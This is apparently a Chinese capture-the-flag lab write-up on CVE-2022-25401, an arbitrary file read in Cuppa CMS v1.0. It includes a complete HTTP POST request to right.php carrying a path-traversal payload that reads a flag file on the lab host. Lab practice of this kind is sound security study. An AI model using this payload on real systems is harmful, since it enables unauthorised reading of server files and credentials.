春秋云境：CVE-2022-25401

春秋云境：CVE-2022-25401

文章合集：春秋云境系列靶场记录（合集）

关注WX：【小白SEC】查看更多内容……

---

Cuppa CMS v1.0 任意文件读：CVE-2022-25401

漏洞介绍

Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞

---

解题步骤

1. 访问url，显示需要登录，尝试弱口令都没法登录
   

2. 查找网上的攻击手法：https://github.com/CuppaCMS/CuppaCMS/issues/32

POST /templates/default/html/windows/right.php HTTP/1.1
Host: eci-2zqt5pyk0gehbcxmt40x.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 112
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.174.133
Referer: http://192.168.174.133/cuppa_cms/administrator/
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

id=1&path=component%2Ftable_manager%2Fview%2Fcu_views&uniqueClass=window_right_246232&url=../../../../../../flag

3. 直接获取flag：
   

文章合集：春秋云境系列靶场记录（合集）